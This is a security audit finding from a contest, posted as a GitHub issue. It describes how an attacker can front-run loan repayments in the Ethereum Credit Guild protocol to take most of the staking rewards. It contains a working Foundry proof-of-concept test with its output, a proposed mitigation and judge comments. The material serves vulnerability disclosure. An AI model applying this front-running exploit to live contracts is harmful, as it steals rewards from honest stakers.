search

code-423n4 / 2023-12-ethereumcreditguild-findings

14 stars 9 forks source link

`repay` and `partialRepay` can be frontrunned and a malicious user can steal rewards. #655

Closed c4-bot-5 closed 6 months ago

c4-bot-5 commented 7 months ago

Lines of code

https://github.com/volt-protocol/ethereum-credit-guild/blob/4d33abf95fee69391af0652e3cbe5e0cffa25f9f/src/loan/LendingTerm.sol#L490 https://github.com/volt-protocol/ethereum-credit-guild/blob/4d33abf95fee69391af0652e3cbe5e0cffa25f9f/src/loan/LendingTerm.sol#L567 https://github.com/volt-protocol/ethereum-credit-guild/blob/4d33abf95fee69391af0652e3cbe5e0cffa25f9f/src/loan/SurplusGuildMinter.sol#L114 https://github.com/volt-protocol/ethereum-credit-guild/blob/4d33abf95fee69391af0652e3cbe5e0cffa25f9f/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Impact

The LendingTerm:repay and LendingTerm:partialRepay functions can be frontrunned by the malicious user to stake the CREDIT with SurplusGuildMinter:stake or increase gauge weight directly. By doing this malicious actors essentially steal the user’s rewards by staking for only one transaction and unstaking immediately after it.

Proof of Concept

When the borrower repays their loan, the interest is distributed to Guild stakers, credit holders, surplus buffer, and possibly protocols treasury.

The Guild stakers receive CREDIT tokens and GUILD as a reward for staking in the gauge, and the reward is distributed based on the amount of the GUILD staked by the user. The malicious actor can take advantage of this can monitor the mempool for any repay or partialRepay

If he sees any of these transactions coming in he can quickly front-run it and stake his CREDIT or increase the weight with his GUILD in the gauge where profit is coming and steal the large share of reward from other stakers.

Flow

A simple foundry test to show how this will come into play

function test_frontrunAndStealRewards() public {
        //Set profit split
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // Alice is already staking 100e18 credit
        credit.mint(address(alice), 100e18);
        vm.startPrank(alice);
        credit.approve(address(sgm), 100e18);
        sgm.stake(address(term), 100e18);
        vm.stopPrank();

        /* --------------------------------- BORROW -------------------------------- */
        address borrower = address(0x33);

        collateral.mint(borrower, 100e18);
        vm.startPrank(borrower);
        collateral.approve(address(term), 100e18);
        bytes32 loanId = term.borrow(10000e18, 100e18);
        vm.stopPrank();

        skip(30 days); // repaying after 30 days

        /* --------------------------------- ATTAKER FRONTRUN  -------------------------------- */
        //Attaker is address(this)
        uint ONE_MILLION = 1000000e18;
        collateral.mint(address(this), ONE_MILLION); // 1M
        collateral.approve(address(psm), ONE_MILLION); // 1M
        psm.mintAndEnterRebase(ONE_MILLION); // 1m credit minted
        assertEq(collateral.balanceOf(address(psm)), ONE_MILLION);
        assertEq(credit.balanceOf(address(this)), ONE_MILLION);

        credit.approve(address(sgm), ONE_MILLION);
        sgm.stake(address(term), ONE_MILLION);
        assertEq(
            credit.balanceOf(address(profitManager)),
            ONE_MILLION + 100e18
        );
        assertEq(
            profitManager.termSurplusBuffer(address(term)),
            ONE_MILLION + 100e18
        );
        assertEq(
            guild.getUserGaugeWeight(address(sgm), address(term)),
            ONE_MILLION * 2 + 200e18
        ); // 2M GUILD is a weight for 1m credit

        /* ----------------------------- BOROWER REPAYS ----------------------------- */

        uint principal = term.getLoan(loanId).borrowAmount;
        uint256 interestAccured = term.getLoanDebt(loanId) - principal;

        credit.mint(borrower, interestAccured);
        vm.startPrank(borrower);
        credit.approve(address(term), principal + interestAccured);
        term.repay(loanId);
        vm.stopPrank();

        /* ----------------------------- PROFIT SHARING ----------------------------- */
        console.log(
            "Attaker credit bal before",
            credit.balanceOf(address(this))
        );
        console.log("Attaker Guild bal before", guild.balanceOf(address(this)));

        console.log(
            "------------------------------------------------------------------"
        );
        sgm.unstake(address(term), ONE_MILLION);
        uint attakerGuildRewards = guild.balanceOf(address(this));
        uint attakerCreditRewards = credit.balanceOf(address(this)) -
            ONE_MILLION;
        assertEq(attakerGuildRewards, 499950004999500000000);
        console.log(
            "Attaker credit rewards",
            attakerCreditRewards,
            "= 99.99 CREDIT"
        );
        console.log(
            "Attaker Guild Reward",
            guild.balanceOf(address(this)),
            "=499.99 GUILD"
        );

        /* --------------------------------- ALICE GET REWARDS-------------------------------- */
        vm.startPrank(alice);
        console.log(
            "------------------------------------------------------------------"
        );
        console.log(
            "Alice credit bal before",
            credit.balanceOf(address(alice))
        );
        console.log("Alice Guild bal before", guild.balanceOf(address(alice)));
        sgm.getRewards(address(alice), address(term));
        console.log(
            "------------------------------------------------------------------"
        );
        console.log(
            "Alice credit bal after",
            credit.balanceOf(address(alice)),
            "= 0.009 CREDIT"
        );
        console.log(
            "Alice Guild bal after",
            guild.balanceOf(address(alice)),
            "= 0.049 GUILD"
        );
        vm.stopPrank();
    }

Output

[PASS] test_frontrunAndStealRewards() (gas: 1484537)
Logs:
  Attaker credit bal before 0
  Attaker Guild bal before 0
  ------------------------------------------------------------------
  Attaker credit rewards 99990000999900000000 = 99.99 CREDIT
  Attaker Guild Reward 499950004999500000000 =499.99 GUILD
  ------------------------------------------------------------------
  Alice credit bal before 0
  Alice Guild bal before 0
  ------------------------------------------------------------------
  Alice credit bal after 9999000099990000 = 0.009 CREDIT
  Alice Guild bal after 49995000499950000 = 0.049 GUILD

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.94ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Recommended Mitigation Steps

There should be some lockup period for GUILD stakers to be eligible for the rewards. or rewards should be distributed based on how long a user stake. Synthetix reward mechanism can be used as example

Assessed type

Rug-Pull

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as duplicate of #994

c4-judge commented 6 months ago

Trumpero changed the severity to 2 (Med Risk)

c4-judge commented 6 months ago

Trumpero marked the issue as satisfactory